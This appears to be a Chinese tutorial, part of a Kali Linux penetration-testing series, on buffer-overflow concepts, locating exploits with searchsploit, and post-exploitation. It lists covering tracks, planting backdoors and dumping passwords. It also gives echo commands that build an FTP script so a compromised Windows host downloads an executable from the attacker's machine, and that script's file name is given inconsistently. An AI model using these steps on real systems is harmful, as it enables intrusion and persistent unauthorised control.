《Kali渗透基础》09. 漏洞利用、后渗透
阅读原文时间:2023年08月29日阅读:1

@

目录


本系列侧重方法论,各工具只是实现目标的载体。

命令与工具只做简单介绍,其使用另见《安全工具录》。

本文以 kali-linux-2023.2-vmware-amd64 为例。

本文以原理为主。

这一部分技术更新换代很快。实操积累经验很重要。

1:漏洞基本介绍

  • 罪恶的根源——变量:对用户可操作的变量没有做限制。
  • 数据与代码边界不清

如下,是一个最简单的漏洞原理:

!/bin/bash

echo $1  # 直接以命令行执行,只希望打印用户输入的字符。

数据?代码?

缓冲区溢出(Buffer Overflow)的含义是为缓冲区提供了多于其存储容量的数据

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被 “ 撑爆 ” ,从而覆盖了相邻内存区域的数据。

如果人为成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

参考文章:《缓冲区溢出攻击》

Windows 避免缓冲区溢出攻击的策略

  • DEP:阻止代码从数据页被执行
  • ASLR:随机内存地址加载执行程序和 DLL,每次重启地址变化

Linux 避免缓冲区溢出攻击的策略

  • DEP

  • ASLR

  • 堆栈 cookies

  • 堆栈粉碎

  • 源码审计

  • 逆向工程

  • 模糊测试(Fuzz Testing)

    • 向程序堆栈注入半随机的数据,根据内存变化判断是否溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞

2:漏洞利用

除了手工发现漏洞,对于扫描到的已知漏洞,可以寻找已有的 EXP,在此基础上修改,以此适用于相关的项目。

“ EXP ” 通常指漏洞利用(Exploitation)或漏洞利用代码(Exploit)。

  • 对于网上公开的 EXP 代码,选择可信赖的 EXP 源(Exploit-db 等)。
  • Kali 自带工具:Searchsploit。
  • 要有能力修改 EXP(Python、Perl、Ruby、C、C++…)以满足不同环境需要。

示例01:使用 searchsploit 查询漏洞代码:

查找相关 EXP:

searchsploit windows .py

查询 EXP 路径:

searchsploit -p 38959.py

拷贝到当前文件夹:

cp /usr/share/exploitdb/shellcodes/generator/38959.py 38959.py

EXP 内容:

  • 不同的 EXP 对应不同的软件版本、offset、shellcode。
  • 系统补丁修补漏洞。
  • 扫描探测目标系统版本,搭建适当的测试环境。
  • 避免一锤子测试,了解漏洞原理,修改溢出代码。

3:后渗透阶段

在漏洞利用,获得目标控制权后:

  • 上传文件,加强控制
  • 提权,扩大对目标系统的控制能力
  • 擦除攻击痕迹
  • 安装后门,持久控制
  • Dump 密码,提取目标系统中存储的用户密码信息
  • 内网渗透

对于后渗透阶段:

  • 最大的挑战:防病毒软件
  • 使用合适的远程控制软件

控制目标后,若目标是 Linux 系统,可选择以下方式上传文件:

  • netcat
  • curl
  • wget

以上都是 Linux 预装的工具,或者是很容易在 Linux 上安装的工具。

Windows 缺少预装的下载工具。有以下方法传输文件:

  • TFTP

    • XP、2003 默认安装。其他 Win 系统要单独添加。
    • 经常被边界防火墙过滤。
    • Kali 上,使用 atftpd 命令作为服务器共享文件。
    • Windows 上,使用 tftp 命令获取文件。
  • FTP

    • 适用性比较广。
    • Linux 上可能需要安装 FTP 服务。
    • Windows 上,使用 echo 命令将相关操作写入 txt 文件。
    • 然后 Windows 上使用 ftp 命令操作此 txt 文件以获取下载。
    • 示例如下:

    因为多是以命令行控制,为防止出现问题,将命令写入文件执行

    假设 kali(192.168.1.129)已经控制了目标系统 Windows

    且 ftp 用户名:user1。密码:PassWorD

    在控制的系统中分别执行以下命令

    echo open 192.168.1.129 21 > ftp_test.txt
    echo user1 >> ftp_test.txt
    echo PassWorD >> ftp_test.txt
    echo bin >> ftp_test.txt
    echo GET whoami.exe >> ftp_test.txt
    echo bye >> ftp_test.txt

    完成后执行即可

    ftp -s:ftp.txt

  • VBScript(Visual Basic Scripting Edition),一种微软开发的脚本语言,用于在 Windows 上编写和执行脚本。

  • DeBug:二进制文件操作。

除此以外,在 Kali 中 /usr/share/windows-binaries/ 目录下自带了一些可以上传到 Windows 上使用的工具,便于后续操作。


闭心塞意,不高瞻览者,死人之徒也哉!

——《论衡》(东汉)王充